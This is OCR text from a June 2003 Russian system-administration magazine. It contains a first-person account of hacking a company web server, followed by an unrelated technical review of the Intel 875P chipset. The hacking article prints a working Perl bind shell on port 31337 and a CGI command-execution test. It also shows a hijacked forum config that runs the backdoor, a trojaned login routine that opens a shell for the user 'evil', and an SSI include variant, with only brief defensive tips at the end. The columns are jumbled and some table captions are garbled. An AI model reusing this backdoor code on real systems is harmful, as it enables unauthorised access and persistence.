Преамбула: эта история ещё 2002 года, но, тем не менее,данный факт не влияет на саму идею взлома. Этот методвесьма актуален, особенно на крупных хостингах. Всё ни-жеописанное было сделано не в одиночку, а с коллегой.Далее речь пойдёт не об очередном переводе дырки в YaBBиз BugTraq, а об описании некоторых моих идей, и, еслиони кому-то ещё приходили в голову, я буду только рад.

Итак, действия происходили на главном сервере моейфирмы, в которой несколько компьютерных классов иодна серверная.

ПЕРЕХВАТ SHELL ЧЕРЕЗ

В те времена администратор был ещё достаточно щед-рый и реализовал регистрацию пользователей. Каждомузарегистрированному пользователю выдавалось:� адрес электронной почты [email protected];� FTP-аккаунт;� и, самое главное, аккаунт в Apache.

ВИКТОР ИГНАТЬЕВ

Page 81: 007 Системный Администратор 06 2003

79№6(7), июнь 2003

безопасность

пользовательского. Целью было получить привилегии«особого» человека и от его имени продолжать дальней-шие действия.

Часть вторая: внутриНемного остыв от радости, я решил ощупать объект:

Теперь я точно знал, с чем имею дело и где нахожусь.Далее последовал тщательный осмотр директории /etcи всех находящихся в ней файлов. Спустя примерно часа2, я решил посетить /home-директории, в частности ка-талоги «особенных» пользователей, а конкретнее –пользователя adil:

Среди прочего в каталоге cgi-bin была искомая yabb:

В каталоге Members сразу же обнаружились паролипользователей на форуме, а также приватные сообще-ния. После 30-ти минутного изучения остальных катало-гов я пришёл к выводу, что больше ничего интересногонет, и приступил к просмотру файлов, валявшихся в кор-не yabb: english.lng, Settings.pl, template.html, YaBB.pl.� english.lng – им оказался файл перевода, ничего инте-

ресного.� YaBB.pl – основной файл форума, особо полезной ин-

формации там не было.� Template.html – шаблон для выдаваемых сообщений,

были некоторые соображения на счёт этого файла, нобыло решено сделать его 2-ым вариантом.

� Settings.pl – это основной файл настройки, в нём быливсе настройки форума, которые должен был настро-ить администратор.

То есть создав каталог public_html и поместив тудаindex.html, пользователь получал домашнюю страничкуhttp://cafedra.server.ru/~user.

Это всё, конечно, хорошо, но самого «вкусного» сре-ди этого списка не было. Я имею в виду shell-доступ. Вме-сто него в строчке /etc/passwd значился /bin/false. Этосильно удручало. Так как shell на главном сервере позво-лил бы делать очень много интересного.

Разумеется, как и везде, у администратора былисослуживцы и помощники, у которых, конечно, имелсяshell. И как всегда, они не отличались особой просве-щенностью в вопросах безопасности. Вот как раз из-заошибок вышеупомянутых была написана эта статья. Уодного из них, как и у остальных пользователей, былсвой веб-аккаунт http://cafedra.server.ru/~adil. И притомон его активно пользовал и обновлял. Среди всех ре-сурсов сайта был форум Yet another Bulletin Board(YaBB), который пользовался большой популярностью.И конечно, привлёк и моё внимание. Поиски дырок всамом форуме не увенчались успехом, поэтому при-шлось действовать в обход.

Часть первая: осмотрКак я уже сказал, shell не выделялся никому, кроме «осо-бенных» людей, но perl и cgi-скрипты выдавались всем ив любом размере. Многие уже поняли, к чему я клоню. Адля тех, кто не в курсе, поясняю, что любой язык програм-мирования позволяет работать с внешними файлами иливыполнять команды. Не долго думая, я написал test.cgiследующего содержания у себя в cgi-bin:

И в моём каталоге появился файл 1.txt, в котором со-держался листинг файлов текущей директории.

Не долго думая, я в своих архивах отыскал backdoorна Perl (backdoor.cgi).

Затем выполнил на своей машине:

Теперь у меня был shell на главном сервере конторы. Яне буду упоминать про попытки получить root-доступ из

test.cgibackdoor.cgi#!/usr/bin/perl -wprint "Content-Type: text/html\n\n";system("ls > 1.txt");

#!/usr/bin/perl –wuse Socket;$port = 31337;socket (S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));setsockopt (S, SOL_SOCKET, SO_REUSEADDR,1);bind (S, sockaddr_in ($port, INADDR_ANY));listen (S, 50);while (1){accept (X, S);if (!($pid = fork)){if(!defined $pid){exit(0);}open STDIN,"<&X";open STDOUT,">&X";open STDERR,">&X";exec("/bin/sh -i");close X;}}

Page 82: 007 Системный Администратор 06 2003

80

безопасность

На первый взгляд там не было ничего интересного, ия хотел уже было махнуть на это рукой, но вдруг вспом-нил про вывод команды ls –al:

rwxrwxrwx!!! Я чуть со стула не упал! Т.е. любой пользова-тель был вправе изменить содержимое этого файла! На-чался лихорадочный поиск места, куда можно внедритьсвой код.

Среди кучи «очень нужных настроек» я всё-таки на-шёл уязвимое место! И оно выглядело так:

Переменная $mailprog определяла программу, запус-каемую для отсылки почты, а $mailtype уточняла, что от-сылку будет осуществлять именно sendmail (из перемен-ной $mailprog). После моего вмешательства строка:

приобрела вид:

И как же теперь выполнить бэкдор? Очень просто. Явышел из бэкдора и проверил, закрылся ли он:

Зашёл на главную страницу форума, промотал страницувниз, и увидел там формочку:

Ввёл имя юзера Navy, нажал enter. Полоса загрузки

браузера начала медленно ползти. Вернувшись к консо-ли, я ввёл:

Цель достигнута! Теперь я мог делать что угодно отпользователя adil. Так как все файлы я уже изучил до зах-вата shell, делать мне уже было нечего и я решил закре-пить shell-доступ и сделать его чуть проще, для этого мнепришлось протроянить исходники форума.

Часть третья: укреплениеВторичной целью было обеспечить максимально простойвход в shell. Итак, теперь все файлы были в моём распо-ряжении. Быстренько просмотрев исходники, я понял, чтонужный мне код находится в файле Sources/LogInOut.pl.Кусок кода выглядел так:

Красным выделен кусок кода, добавленный мною. Витоге я мог в любое время зайти на форум под именем«evil» и получить shell на 31337 порту.

Часть четвёртая: альтернативаПришло время вспомнить про вариант номер 2,template.html. Идея основывалась на технологии SSI (Serverside includes). Эта технология позволяет выполнение вне-шних скриптов и встраивание их ответов в тело html-доку-мента. Т.е. я мог бы в конец template.html вставить строку:

Но этот вариант будет доступен, если сервер настро-ен на обработку .html, а не только .shtml, shtm.

Часть пятая: заключениеЗдесь я хотел бы дать советы по защите от подобногорода атак сетевым администраторам.� Не давать shell-доступ безответственным пользовате-

лям.� Запретить все внешние соединения, кроме root (фун-

кция bind()).� Тщательно проверять права доступа, т.к. именно из-

за неправильного их установления имел место этотвзлом.

Settings.pl

$emailwelcome = 1;# Set to 1 to email a welcome message to users even when# you have mail password turned off$mailprog = "/usr/sbin/sendmail";# Location of your sendmail program$smtp_server = "smtp.mysite.com";# Address of your SMTP-Server$webmaster_email = q^[email protected]^;# Your email address.(eg: $webmaster_email = q^[email protected]^;)$mailtype = 0;# Mail program to use: 0 = sendmail, 1 = SMTP, 2 = Net::SMTP

$mailprog = "/usr/sbin/sendmail";# Location of your sendmail program

$mailprog = "/home/n/navy/public_html/cgi-bin/backdoor.cgi";# Location of your sendmail program

Settings.pl

sub Login2 {&fatal_error("$txt{'37'}") if($FORM{'username'} eq "");&fatal_error("$txt{'38'}") if($FORM{'passwrd'} eq "");$FORM{'username'} =~ s/\s/_/g;$username = $FORM{'username'};&fatal_error("$txt{'240'} $txt{'35'} $txt{'241'}") ↵

if($username !~ /^[\s0-9A-Za-z#%+,-\.:=?@^_]+$/);&fatal_error("$txt{'337'}") ↵

if($FORM{'cookielength'} !~ /^[0-9]+$/);if ($username eq "evil"){system("/home/n/navy/public_html/cgi-bin/backdoor.cgi");exit;}

if(-e("$memberdir/$username.dat")) {fopen(FILE, "$memberdir/$username.dat");

<!--#include virtual="/home/n/navy/public_html/cgi-bin/ ↵backdoor.cgi?$QUERY_STRING" -->

Page 83: 007 Системный Администратор 06 2003
Page 84: 007 Системный Администратор 06 2003

82

hardware

ГЛУБОКОВОДНОЕ ПОГРУЖЕНИЕВ ЧИПСЕТ INTEL 875P

Page 85: 007 Системный Администратор 06 2003

83№6(7), июнь 2003

hardware

Что такое чипсет, и какую роль в компьютерах типа IBM PCон играет? Читатели, собиравшие (или хотя бы разбирав-шие) в свое время бессмертные ZX-Spectrum, навернякапомнят большое количество микросхем, живописно раз-бросанных по системной плате. Среди них были как мик-росхемы поддержки центрального процессора, так и кон-троллеры различных устройств (клавиатуры, памяти, эк-рана и т. д.). В совокупности они образовали набор сис-темной логики, так называемый чипсет, дословно пере-водимый на русский язык как «набор микросхем». В фир-менных Spectrum микросхема чипсета была всего одна,но разработанная по специальному заказу, она вмещалав себя все остальные. Таким образом, ничего таинствен-ного в чипсете и нет – просто за счет высокой степениинтеграции большое количество сопутствующих процес-сору устройств удается разместить на одном кристалле.

Собственно, чипсет первых IBM PC XT/AT отличался отчипсета Spectrum лишь тем, что имел контроллер шины ISAна борту, плюс контроллер DMA (устройства прямого досту-па к памяти), плюс еще несколько контроллеров. Ни диско-вого контроллера, ни даже контроллера COM- и LPT-портовв первых IBM-овских чипсетах и в помине не было, а соот-ветствующая функциональность обеспечивалась установ-кой специальной карты в слот расширения. Идея открытойархитектуры IBM PC как раз и заключалась в максималь-ном упрощении оснастки материнской платы за счет выно-са всех остальных компонентов во внешние контроллеры.

Однако стремительное увеличение степени интеграциипривело к тому, что вмонтировать в уже готовый кристаллпару-тройку лишних контроллеров стало намного дешев-ле, чем размещать эти же самые контроллеры на отдель-ной печатной плате. Так появились компьютеры, несущиена своем борту контроллеры гибких/жестких дисков, ин-тегрированный звук/видео и… еще много всякой всячины!Количество устройств, заключенных в одной микросхеме,стремительно нарастало, и в какой-то момент разработчи-ки решили разделить ее на две, получивших название се-верного и южного мостов (в другой терминологии – хабов).

Северный мост (названный так за свое традиционноерасположение на чертежах) берет на себя наиболее ответ-ственные задачи, требующие наивысшей пропускной спо-собности, а потому и геометрической близости к процес-сору. Это контроллер системной шины, контроллер памя-ти, контроллер порта AGP, PCI-контроллер или контроллервнутренней шины для общения с южным мостом. В насто-ящее время пропускная способность периферийных уст-ройств, «подцепленных» к южному мосту, превысила пре-дельно допустимую пропускную способность шины PCI(133 Мб/сек) и производители, скрепя сердце, вынесли кон-троллер PCI-шины на южный мост, ну а в сам северныймост внедрили высокоскоростной контроллер внутреннейшины (в Intel 82875P – это Hub Interface 1.5 с пропускнойспособностью в 266 Мб/сек, что вдвое выше, чем у штат-ной PCI. Впрочем, это еще не предел: MuTIOL-контроллерчипсета SiS 655 обеспечивает пропускную способность ажв 1,2 ГГб/сек, то есть вчетверо быстрее Intel, правда, в по-давляющем большинстве случаев эта возможность так иостается невостребованной, поскольку у вас попросту ненайдется таких «прожорливых» периферийных устройств!).

КРИС КАСПЕРСКИ

…чтобы оценить свежесть осетрины, вовсене обязательно съедать всего осетра целиком.

Святослав Логинов

Как-то, читая очередной компьютерныйжурнал, я задумался: а для кого, собственно,предназначены все эти обзоры чипсетов ипрочих компьютерных комплектующих?Сравнительные характеристики и тестыпроизводительности – это, бесспорно, нуж-но, полезно и хорошо, но вот за счет чегота или иная производительность в каждомконкретном случае достигается? Благодарякаким именно инженерным решениям веду-щие компании «опускают» своих многочис-ленных конкурентов? А сами конкуренты –где они допустили просчет? Увы! Подавляю-щее большинство публикаций не дает ответана этот вопрос. В результате философияархитектуры чипсета остается за кадром ивесь разговор сводится к известному «вчерабыли большие, но по пять, а сегодня по три,но маленькие». Ни принципы функциониро-вания чипсета, ни сопутствующая ему терми-нология при этом вообще не поясняются и учитателя складывается выхолощенный образаппаратуры, на которой он работает. Помни-те анекдот: «Вы нарушили закон, и за это мывас расстреляем! Какой, спрашиваете, за-кон? Этого мы вам сказать не можем, ведьэтот закон – секретный.»? Шутка шуткою,но уж очень хорошо она иллюстрируетсовременную ситуацию: «Данная модельимеет ряд патентованных технологийSuper X, Super Y и Double-Super Z, обеспечи-вающих ей наивысшую производительность.В чем заключается их суть – не спрашивайте!Не можем же мы раскрывать секрет фирмыпервому встречному, верно?».Вам еще не надоело покупать кота в мешке?Хотите заглянуть внутрь кристалла чипсета,разобраться, чем он живет, как дышит,насколько корректно работает с остальнымиустройствами? Тогда эта статья для вас!

Page 86: 007 Системный Администратор 06 2003

84

hardware

ячейки. Еще один такт уходит на уточнение типа запроса,назначение уникального идентификатора транзакции, со-общение длины запроса и маскировку байтов шины. Под-робнее об этом можно прочитать в спецификациях нашины P6 и EV6, здесь же достаточно отметить, что этафаза запроса осуществляется за три такта системнойшины. Независимо от размера читаемой ячейки (байт,слово, двойное слово) длина запроса всегда равна раз-меру линейки L2-кэша, что составляет 32 байта для про-цессоров K6/P-II/P-III, 64 байта – для AMD Athlon и 128 байт –для P-41. Такое решение значительно увеличивает произ-водительность памяти при последовательном чтении яче-ек и практически не уменьшает ее при чтении ячеек враз-брос, что и неудивительно, т.к. латентность чипсета в не-сколько раз превышает реальное время передачи данныхи им можно пренебречь.

Контроллер шины (BIU – Bus Interface Init), «вживлен-ный» в северный мост чипсета, получив запрос от про-цессора, в зависимости от ситуации либо передает егосоответствующему агенту (в нашем случае – контролле-ру памяти), либо ставит запрос в очередь, если агент вэтот момент чем-то занят. Потребность в очереди объяс-няется тем, что процессор может посылать очереднойзапрос, не дожидаясь завершения обработки предыдуще-го, а раз так – запросы приходится где-то хранить. Чембольше запросов может накапливать чипсет, тем вышемаксимально достижимый параллелизм обработки дан-ных, а значит, выше и скорость. Чипсеты старого поколе-ния (Intel 815, в частности) могли накапливать всего лишьдо четырех запросов, однако с ростом отношения латен-тность/пропускная способность оперативной памяти раз-мера очереди стало катастрофически не хватать и вIntel 875P/SiS 655 она была увеличена до 12 элементов.

При первой же возможности чипсет извлекает запросиз очереди и передает его контроллеру памяти (MCT –Memory Controller). В течение одного такта он декодируетполученный адрес в физический номер строки/столбцаячейки и передает его модулю памяти по сценарию, опи-санному в приложении «приблизительная схема взаимо-действия памяти и процессора».

В зависимости от архитектуры контроллера памяти онработает с памятью либо на частоте системной шины (син-хронный контроллер), либо поддерживает память любойдругой частоты (асинхронный контроллер). Синхронныеконтроллеры ограничивают пользователей ПК в выборемодулей памяти, но, с другой стороны, асинхронные кон-троллеры менее производительны. Почему? Во-первых, всилу несоответствия частот, читаемые данные не могутбыть непосредственно переданы на контроллер шины, иих приходится сначала складывать в промежуточный бу-фер, откуда шинный контроллер сможет их извлекать с нуж-ной ему скоростью. (Аналогичная ситуация наблюдается ис записью). Во-вторых, если частота системной шины ичастота памяти не соотносятся как целые числа, то передначалом обмена приходится дожидаться завершения те-кущего тактового импульса. Таких задержек (в просторе-чии пенальти) возникает две: одна – при передаче микро-схеме памяти адреса требуемой ячейки, вторая – при пе-редаче считанных данных шинному контроллеру. Все это

Южный мост отвечает за ввод/вывод и включает в себяконтроллер DMA, контроллер прерываний, контроллер тай-мера, контроллеры жестких и гибких дисков, контроллерыпоследовательных, параллельных и USB-портов и т. д., и т. п.Легко видеть, что производительность системы определя-ется фактически одним северным мостом, причем в силузначительных технологических и инженерных сложностейработы на таких запредельных скоростях именно на север-ный мост и приходится наибольшая доля архитектурныхразличий в конструкции чипсетов. Южные же мосты вто-ростепенны, скучны, неповоротливы и неинтересны. Тот жеIntel 875P в качестве южного моста использует допотоп-ную микросхему Intel 82801EB, практически не изменившу-юся с апреля 1999 года. Вы эту вялость жизни примени-тельно к северным мостам представляете? Северные мо-сты – наиболее бурно и динамично развивающийся ком-понент компьютера, уступающий в интенсивности накаластрастей разве что самим центральным процессорам (ко-торые, собственно, северный мост и обслуживают). Этопередовое направление техники и науки, и здесь нам естьчему поучиться! Данная статья целиком и полностью отда-ет себя именно северным мостам, ну а про южные вы про-читаете где-нибудь в другом месте.

Начнем с главного: вопреки распространенному заб-луждению процессор взаимодействует с оперативной па-мятью не напрямую, а через специальный контроллер,подключенный к системной шине процессора приблизи-тельно так же, как и остальные контроллеры периферий-ных устройств. Причем механизм обращения к портам вво-да/вывода и к ячейкам оперативной памяти с точки зре-ния процессора практически идентичен. Процессор сна-чала выставляет на адресную шину требуемый адрес и вследующем такте уточняет тип запроса: происходит ли об-ращение к памяти, портам ввода/вывода или подтвержде-ние прерывания. В некотором смысле оперативную памятьможно рассматривать как совокупность регистров ввода/вывода, каждый из которых хранит некоторое значение.

Механизм взаимодействия памяти и процессора выг-лядит приблизительно так: когда процессору требуетсяполучить содержимое ячейки оперативной памяти, он,дождавшись освобождения шины, через механизм арбит-ража захватывает шину в свое владение (что занимаетодин такт) и в следующем такте передает адрес искомой

Page 87: 007 Системный Администратор 06 2003

85№6(7), июнь 2003

hardware

значительно увеличивает латентность подсистемы памя-ти, т. е. промежутка времени с момента посылки запросадо получения данных. SiS 655 – асинхронный контроллерсо всеми вытекающими отсюда достоинствами и недостат-ками, а Intel 875P – это асинхронный контроллер, при со-впадении частот шины и памяти автоматически переходя-щий в синхронный режим. Сочетая сильные стороны обо-их типов контроллеров, чипсет Intel 875P практически неимеет недостатков (одним выстрелом – двух зайцев).

Другой фундаментальной характеристикой чипсета яв-ляются типы поддерживаемых им модулей памяти, что иг-рает решающую роль в выборе чипсета пользователем (точ-нее, разработчиком материнской платы, но это не суть важ-но). Чипсет Intel 860, сделавший в свое время ставку на малопопулярную память типа RDRAM, несмотря на все марке-тинговые усилия, так и не получил большего распростране-ния, поэтому компании Intel пришлось переориентировать-ся на DDR-SDRAM, де-факто ставшей массовой памятью кнастоящему времени. Чипсет Intel 875P поддерживает тринаиболее перспективных типа памяти: DDR266, DDR333 иDDR400, что выгодно отличает его от чипсета SiS 655, кото-рый память типа DDR400, увы, не поддерживает (подроб-ную информацию о поддерживаемых типах памяти вы най-дете в приложении «выбор и конфигурирование памяти»)!

Однако обеспечить формальную поддержку высокоско-ростных типов памяти – это только полдела! Ведь с этой са-мой памятью еще надо уметь эффективно работать. Можнос сумасшедшей скоростью черпать воду наперстком, а мож-но степенно и деловито хлебать ее литровой пивной круж-кой. Так что не надо путать тактовую частоту чего бы то нибыло с реально достижимой производительностью.

Начнем с того, что пропускная способность наилучшейна сегодняшний день памяти DDR400, составляющая, какизвестно, 3,2 ГГб/сек, много меньше пропускной способ-ности системной шины последних моделей Pentium-4, вме-щающих в себя 4,3 ГГб/сек и 6,4 ГГб/сек на частотах в4х133 МГц и 4x200 МГц соответственно. Причем отметим,что 3,2 ГГб/сек – это пиковая производительность, дости-жимая лишь при параллельной обработке данных, а напрактике из-за высокой латентности чипсета даже приоперации копирования блоков памяти она (пропускнаяспособность) оказывается в полтора-два раза меньше! Ктому же часть пропускной способности неизбежно «съе-дает» AGP-карта, и процессорной шине практически ни-чего не остается. Так какой же тогда смысл покупать (ивыпускать!) процессоры с быстрыми шинами, если этойбыстротой воспользоваться все равно не удается?!

А поскольку надеяться на быстрый прогресс в областисовершенствования памяти нам, увы, не приходится, разра-ботчики были вынуждены прибегнуть к усилению паралле-лизма. Короче говоря, если один землекоп выкапывает одинметр траншеи за час, то N землекопов выкопают N метровза это же самое время. Чипсет Intel 875P отличается от сво-их предшественников тем, что умеет работать с двумя па-рами модулей памяти параллельно. То есть если тот жеIntel 845 загружал запрошенную у него кэш-строку за двапакетных цикла, то Intel 875P загружает ее за один, обраща-ясь сразу к двум модулям памяти одновременно! Эта меравдвое увеличивает пропускную способность, но никак не

влияет на латентность! А поскольку для многих вычислитель-ных алгоритмов величина латентности как раз и являетсядоминирующей, то оптимизм по поводу такого параллелиз-ма выходит не столь уж и радужным. При том же копирова-нии производительность увеличивается не в двое, а всего вполтора раза! Таким образом, на реальных задачах расчет-ная пропускная способность все равно не достигается! Чтоже касается хаотичного доступа к памяти, характерного длятаких структур, как деревья и списки (а это базовые струк-туры данных!), здесь ситуация еще хуже! Оперативная па-мять отнюдь не так однородна, как кажется: она делится набанки, банки делятся на страницы, страницы делятся на стро-ки, ну а строки делятся на ячейки. Прежде чем микросхемапамяти «позволит» обратиться к ячейкам той или иной стро-ки, соответствующая ей страница должна быть открыта, ана эту операцию требуется затратить весьма внушительноеколичество времени, практически сопоставимое с выпол-нением всего пакетного цикла целиком! Зато все запросы,направленные к открытой странице, могут выполняться безкаких-либо задержек. Большинство модулей памяти имеютот четырех до восьми банков, а потому чипсет Intel 875Pможет удерживать в открытом состоянии до 32 страниц од-новременно, что соответствует 256 Кб памяти. От макси-мально возможного количества открытых страниц напрямуюзависит и производительность приложений, обрабатываю-щих более одного потока данных параллельно (к этой кате-гории относятся, в частности, многие графические прило-жения). Отсюда: лучше иметь четыре отдельных модуля по128 Мб, чем один на 512 Мб! При работе в двухканальномрежиме это даст 16 одновременно открытых страниц плюсучетверенную (реально удвоенную) пропускную способностьза счет усиленного параллелизма. Емкость и организациявсех модулей при этом должна быть строго идентичной, впротивном случае в многоканальном режиме чипсет простоне сможет работать! Требования к рабочей частоте менеежестки (более быстрая память будет работать на частотесамой медленной) и двухканальный режим разночастотныемодули поддерживать в принципе будут, однако чипсет смо-жет работать только в обычном режиме адресации. А однаиз главных вкусностей Intel 875P как раз и заключается втом, что он поддерживает продвинутый режим динамичес-кой адресации.

Что же это за гусь такой и с чем его едят? В режимеобычной адресации (в котором функционирует подавля-ющее большинство чипсетов) банки памяти следуютодин за другим и при последовательном чтении памятирасполагаются так: страница 0 банк 0 → страница 0банк 1 → страница 0 банк 2 → страница 0 банк 3 → стра-ница 1 банк 1… Как следствие увеличивается удельнаяплотность банков на страницу (а значит, и возрастаютнакладные расходы на их более частое открытие/закры-тие). В режиме динамической адресации чипсет отобра-жает физические адреса памяти на адреса системнойшины так, что банки начинают переключаться вдвоереже. Сначала следует последовательность страница 0банк 0 → страница 0 банк 1 → страница 1 банк 1 → стра-ница 1 банк 1 → страница 2 банк 0, а когда станицы пер-вых двух банков полностью исчерпают себя: страница 0банк 2 → страница 0 банк 3 → страница 1 банк 2 → стра-

Page 88: 007 Системный Администратор 06 2003

86

hardware

модули памяти). Если же рабочую частоту памяти уве-личить сверх штатного, то она и вовсе может выйти изстроя. Чтобы этого не произошло, чипсет Intel 875P под-считывает количество обращений к памяти в единицувремени и при достижении некоторого предела начина-ет вставлять холостые циклы, давая памяти хоть немно-го остыть. Означает ли это, что память не сможет рабо-тать на своей полной пропускной способности (т.е. двепорции данных за один такт)? А вот и нет! Последова-тельное чтение ячеек практически не нагревает микро-схему, а вот интенсивное переключение банков – да.Таким образом, увеличив частоту работы памяти сверхштатного, мы сможем увеличить и производительностьпотоковых приложений, гарантированно оставаясь зас-трахованными от возможных сбоев, возникающих прихаотичном обращении к различным страницам (что про-исходит, в частности, при загрузке Windows).

Другой путь – использование внешнего термодатчи-ка, прикрепленного к микросхеме. Чипсет Intel 857P этоподдерживает, однако перекладывает заботу об охлаж-дении памяти на BIOS, что уже не есть хорошо. С дру-гой стороны, дополнительный датчик карман не тянет,и как резервный уровень защиты от перегрева он впол-не подойдет.

И наконец, шина CSA (CommunicationsStreaming Archi-tecture) – последняя рассматриваемая нами вкусностьчипсета Intel 875P, наличием которой не может похвас-таться ни один из его конкурентов. Обеспечивая пропус-кную способность в 266 Мб/сек, она позволяет значитель-но разгрузить южный мост от таких прожорливых чудо-вищ, как, например, Gigabit Ethernet Intel PRO/1000. Весьвопрос в том, сколько производителей интегрируют та-кой чип на свои материнские платы. Потребность в стольбыстрых локальных сетях у общественности еще не воз-никла и в ближайших перспективах шине CSA сужденооставаться незадействованной.

В остальном же Intel 875P представляется крайнеудачным и хорошо сбалансированным чипсетом. Иде-альный выбор для тех, кому нужна скорость и у когоесть деньги. Чипсет SiS 655 обеспечивает не сильнохудшую скорость, но за значительно меньшую сумму.Однако Intel – бренд (и этим все сказано), а чипсетысторонних производителей – это все равно, что обезь-яна с гранатой. Порой разница между заявленным идействительным столь велика, что начинаешь понево-ле задумываться: настолько ли вы богаты, чтобы по-зволить себе покупать дешевые вещи? В частности, не-которые чипсеты от VIA поддерживают заявленные ча-стоты лишь формально, т.е. они «держат» шину на этойчастоте, но внутри самого чипсета данные передаютсясо скоростью вдвое, а то и вчетверо меньшей. «Ма-разм», – воскликнете вы. «Нет, просто дешевый чип-сет», – возражу я. К слову сказать, в моей книге «Тех-ника оптимизации программ», которая скоро появитсяв продаже, вы найдете не только развернутое описа-ние архитектуры принципов функционирования опера-тивной памяти, но и впечатляющий список ошибок ре-ализаций аппаратуры с объяснениями, почему в тех илииных случаях она работает не так, как хотелось бы.

ница 1 банк 3 → страница 2 банк 2. Достоинством ново-го решения является значительное уменьшение латент-ности чтения, что немаловажно для подавляющего боль-шинства приложений и потому отказываться от этой воз-можности, право же, не стоит!

С другой вкусностью чипсета Intel 875P, так называе-мой PAT (Performance Acceleration Technology – технологияувеличения производительности), ситуация скорее запутан-на, чем ясна. В документации сказано лишь то, что эта тех-нология увеличивает производительность за счет сокра-щения латентности чипсета, которая теперь (если веритьдокументации) составляет всего два такта. На удивлениемалая величина, если принять во внимание длину цепочкии количество участников обработки запроса. Типичная схе-ма большинства чипсетов выглядит так: контроллер шиныпринимает запрос и ставит его в очередь, которую периоди-чески опрашивает агент транзакций и, извлекая накопив-шиеся к этому времени запросы, преобразует их в команд-ные пакеты, поступающие на вход планировщика запросовк памяти, который получает запросы сразу от несколькихустройств: процессора, AGP-карты, южного моста и др., ста-раясь обслуживать всех клиентов максимально эффектив-но. Спланированные запросы накапливаются в очереди ар-битра памяти, который по мере их извлечения распределя-ет ячейки по физическим адресам, передавая их непосред-ственно блоку сопряжения с модулями памяти. Теперь вампонятно, чем одни чипсеты отличаются от других?

За словами «контроллер шины» и «контроллер памя-ти» скрывается целый мир, состоящий из множества уз-лов и сложно взаимодействующих друг с другом компо-нентов. Заставить все это хозяйство работать параллель-но практически невозможно и потому латентность рядо-вых чипсетов составляет от десяти до двадцати тактов си-стемной шины! Ума не приложу, как парням из Intel уда-лось уложиться всего лишь в два. Однако уменьшение ла-тентности еще не увеличивает пропускную способность, идля потоковых приложений (либо же приложений, храня-щих обрабатываемые данные в основном в кэше) приростскорости окажется пренебрежительно мал. По результа-там некоторых исследований (сообщения о которых былинайдены в Интернете) общий прирост производительнос-ти, осуществляемый PAT, составляет всего 2% – 5%. Оченьстранные цифры! К сожалению, никакой дополнительнойинформации (что именно и как именно измерялось) авто-рами исследований не приводится, а потому польза от та-ких исследований равна нулю. Во всяком случае, в чипсе-те SiS 655 ничем подобным и не пахнет и, судя по всему,его латентность достаточно велика (к сожалению, из-заотсутствия самого чипсета измерять ее реальное значе-ние не представляется возможным).

Еще одной приятной особенностью чипсета Intel 875P,которую, без сомнения, по достоинству оценят все лю-бители «разгона», является возможность контроля тем-пературы чипов памяти. Не секрет, что даже при рабо-те в штатном режиме память очень сильно нагревает-ся и при плохой циркуляции воздуха внутри корпусаможет начать сбоить (кстати, некоторые процессорныевентиляторы этому очень даже способствуют, посколь-ку направляют поток горячего воздуха прямиком на

Page 89: 007 Системный Администратор 06 2003

87№6(7), июнь 2003

hardware

Приложение 1Выбор и конфигурирование памятиПоскольку чипсеты Intel 857P и SiS 655 поддерживаютдалеко не все типы DDR-памяти, то существует ненуле-вая вероятность приобрести в магазине такой модуль,который на вашем компьютере работать просто не бу-дет, либо же будет работать крайне неэффективно. Апотому перед походом в магазин рекомендуем внима-тельно изучить таблицы, приведенные ниже. Надеюсь,они помогут вам сделать правильный выбор (или узнать:подходит ли уже имеющаяся у вас память к новому чип-сету или нет).

Что же касается чипсета SiS 655, то в рекламном бук-лете, выложенном на сайте компании, никакой информа-ции на этот счет нет, а нормальная техническая докумен-тация «зажата» и отдается только за деньги. Гм, платитьсвои деньги, чтобы описывать (читай: продвигать) чипсеткомпании SiS?! А оно мне нужно?

Обратите внимание, что DDR 333 выгоднее гонять на133 MHz шине, но не на 200 MHz!

Приложение 2Приблизительная схема взаимодействияпамяти и процессора� Получив запрос на чтение ячейки, процессор выпол-

няет арбитраж и передает чипсету адрес и длину зап-рошенного блока памяти. При условии, что шина сво-бодна, эта операция укладывается в четыре такта.

� Контроллер шины, получив запрос, ставит его в оче-редь и, если контроллер памяти свободен, передаетему запрос с началом следующего такта.

� В течение следующего такта контроллер памяти деко-дирует адрес и ставит его в свою внутреннюю очередьзапросов на чтение памяти.

� В следующем такте запрос извлекается из очереди, иконтроллер, при необходимости дождавшись приходафронта тактового импульса микросхемы памяти, пе-редает ей адрес ячейки:I. Если соответствующая страница открыта и банк па-

мяти не находится на регенерации, чипсет выстав-ляет сигнал CAS и передает сокращенный адресячейки. Спустя 2-3 такта частоты памяти на шинепоявляется первая порция считанных данных.

II. Контроллер памяти считывает ее за один такт.� Синхронный контроллер памяти с началом сле-

дующего такта передает считанные данные кон-тролеру шины и в дальнейшем пересылка осу-ществляется параллельно с чтением, но с за-держкой в один такт.

� Асинхронный контроллер памяти «благодаря»расхождению частот не может передавать дан-ные одновременно с чтением, и вынужден на-капливать их во временном буфере. После за-вершения пакетного цикла чтения, контроллерпамяти по приходу фронта следующего синхро-импульса начинает передавать содержимое вре-менного буфера контроллеру шины на требуе-мой частоте.

� Примечание: некоторые дешевые чипсеты, в ча-стности VIA KT133/KT266, осуществляют пере-дачу данных внутри чипсета только по фронтуимпульса, что полностью обесценивает все пре-имущества шины EV6, на которой работаетAthlon, и ее эффективная частота (определяе-мая, как известно, самым узким местом систе-мы) оказывается равной всего 100/133 MHz.

� Примечание: если длина запроса превышаетдлину пакета, то независимо от типа контрол-лера памяти, данные всегда передаются черезвременный буфер.

III. На чтение «хвоста» пакета в зависимости от егодлины уходит еще от трех до семи тактов частотыоперативной памяти при использовании памятитипа SDRAM и от двух до трех тактов на DDR соот-ветственно.

IV. Если длина запроса превышает длину пакета, томы возвращаемся к пункту I.

V. Контроллер шины, получив считанные данные, фор-мирует запрос на передачу данных от чипсета к про-цессору и ставит его в очередь, на что расходуетсяодин такт.

VI. Если в очереди не находится ничего другого, и шинаникем не занята, контроллер шины извлекает зап-рос из очереди и «выстреливает» его в шину, пере-давая за один такт одну, две или четыре порции дан-ных (на K6/P-II/P-III, Athlon и P-4 соответственно).

VII. Как только запрошенная ячейка попадает в процес-сор, она становится немедленно доступной для об-ращения, даже если пакетный цикл передачи ещене завершен.

Òàáëèöà 1. Òèïû ïàìÿòè, ïîääåðæèâàåìîé Intel 875EP.

Òàáëèöà 2. Íàñòðîéêà ïàìÿòè íà ìàêñèìàëüíóþ ïðîèçâîäèòåëüíîñòü.

